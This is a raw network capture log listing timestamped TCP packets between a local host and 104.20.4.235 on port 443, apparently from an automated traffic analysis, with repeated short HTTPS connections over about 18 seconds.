Jul 2, 2024 16:32:55.691879988 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.839824915 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.839927912 CEST	443	55001	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.840053082 CEST	55001	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.840820074 CEST	55001	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.842207909 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.842242002 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:55.842365980 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.842642069 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:55.842658997 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.315927982 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.317542076 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.317580938 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.453547955 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.453655958 CEST	443	55002	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.456952095 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.458434105 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.458436012 CEST	55002	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.458462954 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.459472895 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.464638948 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.464657068 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.933048010 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:56.938087940 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:56.938105106 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.064352989 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.064465046 CEST	443	55003	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.064909935 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.066488981 CEST	55003	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.066493988 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.066529989 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.068999052 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.072798014 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.072813988 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.537393093 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.539011955 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.539026022 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.677808046 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.677927971 CEST	443	55004	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.677975893 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.678559065 CEST	55004	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.679919004 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.679954052 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:57.680016994 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.680335045 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:57.680346966 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.178571939 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.180311918 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.180336952 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.329080105 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.329185009 CEST	443	55005	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.329227924 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.329720974 CEST	55005	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.331175089 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.331208944 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.331270933 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.331537962 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.331549883 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.802355051 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.803910971 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.803925037 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.949176073 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.949290037 CEST	443	55006	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.949378014 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.949928045 CEST	55006	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.951052904 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.951086044 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:58.951236010 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.951411963 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:58.951425076 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.444690943 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.449217081 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.449238062 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.598877907 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.598994970 CEST	443	55007	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.599042892 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.599725008 CEST	55007	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.600966930 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.601018906 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:59.601104021 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.601397038 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:59.601413012 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.090519905 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.092081070 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.092125893 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.224962950 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.225087881 CEST	443	55008	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.225146055 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.225815058 CEST	55008	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.227180004 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.227221012 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.227281094 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.227577925 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.227588892 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.696420908 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.697946072 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.697988033 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.841305017 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.841440916 CEST	443	55009	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.841507912 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.842118025 CEST	55009	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.843410969 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.843447924 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:00.843667984 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.847544909 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:00.847564936 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.318768978 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.321918011 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.321943045 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.452549934 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.452655077 CEST	443	55010	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.452703953 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.453303099 CEST	55010	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.456108093 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.456165075 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.456228018 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.456502914 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.456517935 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.961374998 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:01.963093042 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:01.963135004 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.130168915 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.130284071 CEST	443	55011	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.130345106 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.131057024 CEST	55011	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.132421970 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.132474899 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.132539034 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.132780075 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.132795095 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.604696035 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.608342886 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.608377934 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.748888969 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.749000072 CEST	443	55012	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.749144077 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.749581099 CEST	55012	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.750696898 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.750741005 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:02.750946999 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.751185894 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:02.751203060 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.225465059 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.228117943 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.228153944 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.363955021 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.364087105 CEST	443	55013	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.365088940 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.366717100 CEST	55013	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.366717100 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.366753101 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.366935968 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.370986938 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.371021986 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.836813927 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.838381052 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.838413954 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.981494904 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.981596947 CEST	443	55014	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.981645107 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.983443975 CEST	55014	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.985199928 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.985264063 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:03.985351086 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.985848904 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:03.985865116 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.495923042 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.498846054 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.498891115 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.661375999 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.661484957 CEST	443	55015	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.662242889 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.662796021 CEST	55015	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.663736105 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.663764000 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:04.663846016 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.664062023 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:04.664077997 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.151576996 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.155987024 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.156018019 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.288434982 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.288589001 CEST	443	55016	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.288702011 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.289653063 CEST	55016	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.290354967 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.290426016 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.290513992 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.290760040 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.290786028 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.767875910 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.769612074 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.769644022 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.924736023 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.924830914 CEST	443	55017	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.924937963 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.925618887 CEST	55017	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.927077055 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.927114964 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:05.927184105 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.927501917 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:05.927515030 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.402756929 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.406812906 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.406838894 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.561716080 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.561849117 CEST	443	55018	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.564815998 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.565443039 CEST	55018	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.576802969 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.576839924 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:06.580907106 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.584810019 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:06.584824085 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.070765972 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.073998928 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.074019909 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.205342054 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.205451965 CEST	443	55019	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.205626965 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.207230091 CEST	55019	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.207232952 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.207283020 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.208884001 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.212805986 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.212821007 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.683753967 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.685365915 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.685394049 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.810048103 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.810292959 CEST	443	55020	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.810370922 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.810959101 CEST	55020	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.812506914 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.812553883 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:07.812624931 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.812973976 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:07.812990904 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.309320927 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.310863972 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.310890913 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.445986032 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.446242094 CEST	443	55021	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.447017908 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.448470116 CEST	55021	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.448470116 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.448507071 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.450992107 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.454870939 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.454890013 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.962764978 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:08.964167118 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:08.964196920 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.129255056 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.129404068 CEST	443	55022	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.130899906 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.132426023 CEST	55022	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.132431984 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.132477045 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.133239031 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.134846926 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.134865999 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.638084888 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.640019894 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.640054941 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.783879995 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.784009933 CEST	443	55023	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.784061909 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.784764051 CEST	55023	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.786266088 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.786300898 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:09.786367893 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.786691904 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:09.786706924 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.434379101 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.436206102 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.436228991 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.593079090 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.593328953 CEST	443	55024	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.595125914 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.596157074 CEST	55024	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.597527027 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.597589016 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:10.599070072 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.599257946 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:10.599281073 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.075611115 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.122879982 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.286848068 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.286874056 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.397473097 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.397689104 CEST	443	55025	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.400336981 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.401283026 CEST	55025	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.402944088 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.402972937 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.403227091 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.406902075 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.406913996 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.885437965 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:11.887557030 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:11.887579918 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.028831005 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.028944016 CEST	443	55026	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.029022932 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.029675961 CEST	55026	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.031248093 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.031286001 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.031363964 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.031661034 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.031676054 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.529759884 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.531244040 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.531264067 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.679451942 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.679559946 CEST	443	55027	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.679630041 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.680233002 CEST	55027	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.681418896 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.681456089 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:12.681618929 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.681858063 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:12.681871891 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.151318073 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.152844906 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:13.152863026 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.300275087 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.300393105 CEST	443	55028	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.300457954 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:13.301620960 CEST	55028	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:13.303292990 CEST	55029	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:33:13.303323030 CEST	443	55029	104.20.4.235	192.168.2.6
Jul 2, 2024 16:33:13.303445101 CEST	55029	443	192.168.2.6	104.20.4.235
